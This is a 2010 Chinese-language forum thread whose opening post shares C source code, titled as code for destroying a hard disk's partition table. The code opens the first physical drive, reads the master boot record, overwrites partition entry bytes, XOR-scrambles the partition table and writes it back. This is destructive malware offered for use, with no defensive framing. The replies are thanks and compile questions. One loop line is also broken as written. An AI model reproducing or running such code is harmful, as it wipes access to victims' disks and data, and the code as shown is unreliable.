破坏硬盘分区表的源代码(C CODE)

社区服务
高级搜索
猴岛论坛电脑百科破坏硬盘分区表的源代码(C CODE)
发帖 回复
倒序阅读 最近浏览的帖子最近浏览的版块
8个回复

[资源分享]破坏硬盘分区表的源代码(C CODE)

楼层直达
不懂也不知道

ZxID:10586231

等级: 禁止发言

举报 只看楼主 使用道具 楼主   发表于: 2010-07-07 0
破坏硬盘分区表的源代码(C CODE)
HANDLE hDevice=
CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,
0,NULL);

if(hDevice==INVALID_HANDLE_VALUE)
{
MessageBox(NULL,"Your luck's so good !","Man~",MB_ICONERROR|MB_OK);
ExitProcess(0);
}

DWORD cout;
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);

DISK_GEOMETRY Getmetry;

DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Getmetry,sizeof(DISK_GEOMETRY),
&cout,
NULL);

LPTSTR szBuf;


szBuf=(LPTSTR)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
Getmetry.BytesPerSector);

if(szBuf==NULL)
{
MessageBox(NULL,
"Your luck's so good !","Man~",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}

DWORD bytes=512;
DWORD readsize;
BOOL m_ret;
m_ret=ReadFile(hDevice,szBuf,bytes,&readsize,NULL);
if(m_ret==FALSE || readsize<512)
{
MessageBox(NULL,
"Your luck's so good !","Man~",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}

BYTE MBR[512]={0};
for(int n=0;n<512;n++)
{
MBR[n]=szBuf[n];
}

DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
CloseHandle(hDevice);

MBR[0x1BE]=80;
MBR[0x1BF]=0;
MBR[0x1C2]=5;
for(int i=0x1C3;i<=0x1FE;i++)
{
MBR=MBR^26;
}

hDevice=
CreateFile("\\\\.\\PHYSICALDRIVE0",
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if(hDevice==INVALID_HANDLE_VALUE)
{
MessageBox(NULL,
"Your luck's so good !","Man~",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}
DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);

m_ret=WriteFile(hDevice,MBR,bytes,&readsize,NULL);
if(m_ret==FALSE||readsize<512)
{
MessageBox(NULL,
"Your luck's so good !","Shit",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}

DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
本帖de评分: 1 条评分 DB +4
DB+4

电脑板块欢迎你

╱╳灬小熊ゞ

ZxID:9189876

等级: 大将

举报 只看该作者 沙发   发表于: 2010-07-07 0
感谢分享·


゛蝣蕩啲龍っ

ZxID:7865773

等级: 元老
‘燕鸥’是种水鸟,听说,它们会从几千里外,飞回自己的家,而且,是‘情有独钟’,终身不换伴侣 ..

举报 只看该作者 板凳   发表于: 2010-07-07 0
感谢分享   
风若晨曦

ZxID:8842179

等级: 元老
一念轮回,君千殇

举报 只看该作者 地板   发表于: 2010-07-07 0
很好

给我一个机会,我还你一个奇迹

iphone丶≈

ZxID:11670762

等级: 禁止发言

举报 只看该作者 4楼  发表于: 2010-07-07 0
不错,
yuaijiahui

ZxID:12581230

等级: 上士
举报 只看该作者 5楼  发表于: 2010-07-07 0
对我这个    菜鸟来说  没用
guest

ZxID:0

等级: *
举报 只看该作者 6楼  发表于: 2010-07-08 0
后辍是什么嘛?
悲伤丶已落幕

ZxID:12569558

等级: 大尉
问世间情为何物,情是怪物。
举报 只看该作者 7楼  发表于: 2010-07-08 0
用什么编译?
就那点事

ZxID:8608765

等级: 中校
永远的猴岛!

举报 只看该作者 8楼  发表于: 2010-07-09 0
我看不懂
[url=http://my.zixia.com/attachment/201012/6/13696874_1291621988Wg6Y.jpg[/img][/url]
« 返回列表
发帖 回复